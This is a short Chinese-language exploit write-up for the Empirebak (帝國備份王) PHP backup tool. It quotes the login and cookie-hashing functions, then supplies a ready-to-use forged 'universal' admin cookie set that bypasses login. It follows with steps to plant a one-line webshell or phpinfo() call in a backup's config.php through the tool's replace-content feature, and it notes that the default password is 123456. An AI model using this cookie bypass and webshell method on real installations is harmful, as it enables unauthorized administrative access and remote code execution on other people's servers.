標籤:
1.偽造cookie登入系統(其實這一步多餘的,大多使用者連密碼都沒改,都是預設的123456)
登入成功設定4個cookie,看代碼
function login($lusername,$lpassword,$key,$lifetime=0){ global $set_username,$set_password,$set_loginauth,$set_loginkey; if(empty($lusername)||empty($lpassword)) { printerror("EmptyLoginUser","index.php"); } //驗證碼 if(!$set_loginkey) { if($key<>getcvar(‘checkkey‘)||empty($key)) { printerror("FailLoginKey","index.php"); } } if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password) { printerror("ErrorUser","index.php"); } //認證碼 if($set_loginauth&&$set_loginauth!=$_POST[‘loginauth‘]) { printerror("ErrorLoginAuth","index.php"); } $logintime=time(); $rnd=make_password(12);//產生隨機字元 $s1=esetcookie("bakusername",$lusername,0); $s2=esetcookie("bakrnd",$rnd,0);//隨機字元 $s3=esetcookie("baklogintime",$logintime,0); Ebak_SCookieRnd($lusername,$rnd);// if(!$s1||!$s2) { printerror("NotOpenCookie","index.php"); } printerror("LoginSuccess","admin.php"); }
再看看make_password函數
function make_password($pw_length){ $low_ascii_bound=50; $upper_ascii_bound=122; $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111); while($i<$pw_length) { mt_srand((double)microtime()*1000000); $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound); if(!in_array($randnum,$notuse)) { $password1=$password1.chr($randnum); $i++; } } return $password1; }
這個函數只是產生隨機數,再看看Ebak_SCookieRnd函數
function Ebak_SCookieRnd($username,$rnd){ global $set_loginrnd;//$set_loginrnd為config.php裡面的驗證隨機碼 $ckpass=md5(md5($rnd.$set_loginrnd).‘-‘.$rnd.‘-‘.$username.‘-‘);//沒有把密碼加進去,於是漏洞產生了 esetcookie("loginebakckpass",$ckpass,0); }
下面給出萬能cookie(key:value):
ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 ebak_bakrnd:35y5cCnnA4Kh ebak_bakusername:admin ebak_baklogintime:4070883661
使用以上cookie即可直接存取admin.php
2.拿shell
後台參數設定一般都設定好了,如果不能串連資料庫,可以在資料庫設定裡填個自己的遠端資料庫備份資料,隨便找個Database Backup,
然後到替換目錄檔案內容裡,選擇剛才備份的資料庫,
將
"$b_table="
替換成
"phpinfo();//或者寫你的一句話木馬
$b_table="
訪問那個目錄的/config.php即可~
帝國備份王(Empirebak)萬能cookie及拿shell